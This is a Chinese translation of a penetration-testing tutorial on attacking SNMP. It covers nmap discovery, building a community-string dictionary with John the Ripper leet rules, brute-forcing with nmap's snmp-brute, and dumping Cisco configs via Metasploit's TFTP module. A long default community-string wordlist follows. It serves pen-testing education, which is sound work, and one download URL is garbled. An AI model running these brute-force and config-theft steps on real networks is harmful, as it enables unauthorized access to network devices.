[译]snmp使用

本文介绍了如何使用Nmap扫描网络设备以寻找使用SNMP服务的设备,并通过John the Ripper工具进行暴力破解,以获取设备的认证密码。文章详细解释了设置和执行步骤,包括创建字典文件、使用规则处理和最终的破解过程。
原文地址:[url]http://pen-testing.sans.org/blog/pen-testing/2013/05/31/invasion-of-the-network-snatchers-part-i[/url]
[color=blue]个人认为本文精彩的地方在于如何制作暴力破解的字典[/color]

在大的组织中,网络设备的认证是通过TACACS或Radius控制的,他们同来集中管理和登录认证。这种方法允许网络管理员使用域帐户登录设备(通常是他们用来检查邮件的帐户)。渗透测试者有很多方法可以攻击者这些帐户,所以我们转移到另一个攻击向量--攻击SNMP。
很多网络设备都可以使用SNMP设备管理和监控。幸运的是,这个服务通常不想其他TCP服务(SSH,HTTP(S),Telnet)进行强化。通常不需要登录,以及不支持logout机制。它包含一些显著的缺点,这对渗透测试者来说是好事。
SNMP有三个版本:1,2C和3.版本1和2C对于渗透测试来说是一样的。他们只通过字符团进行认证,不支持加密或信息完整性验证。版本3修复了一些问题,并且实现了口令保护机制以及传输完整性验证。
猜测v1和v2的口令比较容易,因为v3需要提供username和字符团,而v1/2c不需要。
在我们进行暴力破解之前,我们需要一组支持SNMP的目标。我们使用nmap来扫描:
$ sudo nmap -PN -sU -p 161 -iL targets.txt -oA output

nmap将会检查-L参数指定的文件中的目标的UDP(-sU)端口161,也就是SNMP端口,将结果保存成nmap的三种格式中,文件名叫output,包含output.nmap, output.gnmap, 和output.xml。为了提高速度和效率,禁止主机发现检查(-PN),这样我们只发送一个数据包到161端口。值得注意的一点是:这个扫描充分利用SNMPv3版本的返回响应(未授权的响应)的这个特点,并且它可能漏掉只支持v2c或v1的设备。从技术上讲,我们将会得到支持SNMPv3的设备,但是通常这些设备都支持v2c(甚至v1).所以在许多组织,使用SNMPv3的列表将会被用于暴力破解v2c和v1.
现在我们获得允许SNMP的设备
$ grep '161/open/' output.gnmap | cut -d' ' -f 2 > snmpdevices.txt

接下来我们尝试猜测用于认证的v1/v2c的字符团。通常有两种字符团:读写和只读。管理员通常回来字符团后面追加访问级别来区分不同的字符团(例如sometext-read/sometext-write, sometext-public/sometext-private),现在我们创建一组基础词组和一组后缀,然后组合他们。
$ cat << EOF > basewords.txt
companyname
CompanyName
company
Company
productname
ProductName
Admin
admin
Secret
secret
EOF
$ cat << EOF > suffixes.txt
read
Read
write
Write
readonly
ReadOnly
public
Public
private
Private
rw
RW
ro
RO
EOF

现在我们通过基本词组和后缀创建一个组合词组
$ for GUESS in `cat basewords.txt`; do for SUFFIX in `cat suffixes.txt`; do echo $GUESS$SUFFIX; echo $GUESS-$SUFFIX; done; done > combo-clean.txt

$ head -n 5 combo-clean.txt
companynameread
companyname-read
companynameRead
companyname-Read
companynamewrite

管理元通常使用l337sp34k([url]https://en.wikipedia.org/wiki/Leet[/url])来是密码更难猜测,John the Ripper支持一个该特性
KoreLogic([url]http://contest-2010.korelogic.com/rules.html[/url])上的人给John the Ripper开发了很多好的rules。使用规则很简单--下载规则,把规则追加到/etc/john/john.conf文件中
$ wget 'http://contest-2010.korelogic.corules.txt'
$ cat rules.txt >> /etc/john/john.conf

然后给我们的字符团进行规则处理
$ john --wordlist:combo-clean.txt --rules:KoreLogicRulesL33t --stdout > combo-l33t.txt

同时我们也需要下载一个默认的口令列表([url]https://code.google.com/p/fuzzdb/source/browse/trunk/wordlists-misc/wordlist-common-snmp-community-strings.txt[/url])。我们将使用组合后的列表,l33t处理后的列表以及默认列表组成一个更大的字典。然后删除重复的以及超过20个单词的字符串。
$ cat wordlist-common-snmp-community-strings.txt combo-clean.txt combo-l33t.txt | sort -u | grep -vE '.{21,}' > completeguesses.txt

现在使用nmap的snmp-brute模块进行破解
$ nmap -sU 1.2.3.4 --script snmp-brute --script-args snmp-brute.communitiesdb=completeguesses.txt
Nmap scan report for 1.2.3.4
PORT STATE SERVICE
161/udp open snmp
| snmp-brute:
|_ [color=red]C0mpanyNam3-RW - Valid credentials[/color]


我们获得了一个口令,从他的名字上看,很可能是读写权限的口令。现在我们从设备上获取信息
对于SNMP,数据和设备配置组成一个层级树。树上的每一个位置叫做OID。可以使用snmpwalk 来获取信息
$ snmpwalk -c C0mpanyNam3-RW -v 2c 1.2.3.4 1.3.6.1 > ciscosnmpdump.txt

我们可以使用SNMP查询SysDescr (OID 1.3.6.1.2.1.1.1) 来获得设别的细节:
$ snmpget -c C0mpanyNam3-RW -v 2c 1.2.3.4 1.3.6.1.2.1.1.1
Cisco Internetwork Operating System Software IOS (tm) 2500...


我们可以从一个使用SNMP和TFTP的思科设备上dump配置文件。可以使用metasploit来简化工作:
管理员通常在整个网络中使用相同的字符团。所以一旦我们获得了一个设备的字符团,我们可以使用它来试探全部网络。RHOSTS选项接收多个目标,甚至是文件msf>
auxiliary/scanner/snmp/cisco_config_tftp
msf auxiliary(cisco_config_tftp)> set LHOST 1.1.1.1
msf auxiliary(cisco_config_tftp)> set OUTPUTDIR /tmp/
msf auxiliary(cisco_config_tftp)> set RHOSTS file:/tmp/snmpdevices.txt
msf auxiliary(cisco_config_tftp)> set COMMUNITY C0mpanyNam3-RW
msf auxiliary(cisco_config_tftp)> run

然后我们可以在/tmp/文件夹下获得很多配置文件。

注意:
1. V1和2c 只在正确的字符团下才会响应,V3则把响应作为加密的一部分。
2. kali中可以使用onesixtyone来进行暴力破解

root@kali:~# onesixtyone -h
onesixtyone: invalid option -- 'h'
onesixtyone 0.3.2 [options] <host> <community>
-c <communityfile> file with community names to try
-i <inputfile> file with target hosts
-o <outputfile> output log
-d debug mode, use twice for more information

-w n wait n milliseconds (1/1000 of a second) between sending packets (default 10)
-q quiet mode, do not print log to stdout, use with -l
examples: ./s -c dict.txt 192.168.4.1 public
./s -c dict.txt -i hosts -o my.log -w 100

3. windows中可以使用SNScan
[url]http://www.mcafee.com/us/downloads/free-tools/snscan.aspx[/url]
4. snmp默认口令:[url]https://code.google.com/p/fuzzdb/source/browse/trunk/wordlists-misc/wordlist-common-snmp-community-strings.txt[/url]
public
private
0
0392a0
1234
2read
4changes
ANYCOM
Admin
C0de
CISCO
CR52401
IBM
ILMI
Intermec
NoGaH$@!
OrigEquipMfr
PRIVATE
PUBLIC
Private
Public
SECRET
SECURITY
SNMP
SNMP_trap
SUN
SWITCH
SYSTEM
Secret
Security
Switch
System
TENmanUFactOryPOWER
TEST
access
adm
admin
agent
agent_steal
all
all private
all public
apc
bintec
blue
c
cable-d
canon_admin
cc
cisco
community
core
debug
default
dilbert
enable
field
field-service
freekevin
fubar
guest
hello
hp_admin
ibm
ilmi
intermec
internal
l2
l3
manager
mngt
monitor
netman
network
none
openview
pass
password
pr1v4t3
proxy
publ1c
read
read-only
read-write
readwrite
red
regional
rmon
rmon_admin
ro
root
router
rw
rwa
san-fran
sanfran
scotty
secret
security
seri
snmp
snmpd
snmptrap
solaris
sun
superuser
switch
system
tech
test
test2
tiv0li
tivoli
trap
world
write
xyzzy
yellow
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值